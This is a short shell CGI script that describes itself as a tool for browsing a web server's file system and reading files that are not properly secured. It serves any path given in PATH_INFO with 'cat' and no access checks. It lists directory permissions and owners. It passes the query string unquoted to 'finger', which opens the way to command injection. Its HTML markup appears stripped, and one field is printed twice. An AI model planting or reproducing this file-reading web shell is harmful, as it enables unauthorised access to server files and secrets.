#!/bin/sh
#
# Simple CGI for viewing a web server's file system
# and reading files that have not been properly secured.
#
#
# determines path
if test "x${PATH_INFO}" = "x";then
DIR=`dirname ${SCRIPT_FILENAME}`
else
DIR=${PATH_INFO}
fi
# prints CGI header
if test ! -d ${DIR};then
VAR=`cut -b1-2 ${DIR} |head -1 |sed -n 'l' |wc -c`
if test ${VAR} -gt 3;then
echo "Content-type: application/octet-stream"
else
echo "Content-type: text/plain"
fi
echo ""
cat ${DIR}
exit 0
else
echo "Content-type: text/html"
echo ""
fi
# provides link to directories
cd ${DIR}
#echo "${DIR}
"
LIST=""
TMP=${DIR}
while test "x${TMP}" != "x/";do
FILE=`basename ${TMP}`
LIST="${FILE}/${LIST}"
TMP=`dirname ${TMP}`
done
LIST="/${LIST}"
echo "${LIST}
"
if test "x${QUERY_STRING}" != "x";then
echo "
"
finger -m ${QUERY_STRING}
echo ""
exit 0
fi
printf ""
for FILE in `ls -a ${DIR}`;do
PERMS=`ls -ld ${DIR}/${FILE}|awk '{print$1}'`
RECURSE=`ls -ld ${DIR}/${FILE}|awk '{print$2}'`
USER=`ls -ld ${DIR}/${FILE}|awk '{print$3}'`
GROUP=`ls -ld ${DIR}/${FILE}|awk '{print$4}'`
SIZE=`ls -ld ${DIR}/${FILE}|awk '{print$5}'`
MONTH=`ls -ld ${DIR}/${FILE}|awk '{print$6}'`
DAY=`ls -ld ${DIR}/${FILE}|awk '{print$7}'`
TIME=`ls -ld ${DIR}/${FILE}|awk '{print$8}'`
printf "${PERMS} "
printf "%7i " ${RECURSE}
printf "${USER}"
LENGTH=`echo ${USER}|wc -c`
let LENGTH=9-${LENGTH}
printf "%${LENGTH}s" " "
printf "%-8s " ${GROUP}
printf "%8s " ${SIZE}
printf "%3s " ${MONTH}
printf "%-2s " ${MONTH}
printf "%-5s " ${TIME}
if test "x${FILE}" = "x.";then
printf "${FILE}"
elif test "x${FILE}" = "x..";then
printf "${FILE}"
else
printf "${FILE}"
fi
printf "\n"
done
echo ""
# links back to default location
if test "x${SCRIPT_NAME}" != "x${REQUEST_URI}";then
echo "Back to home"
fi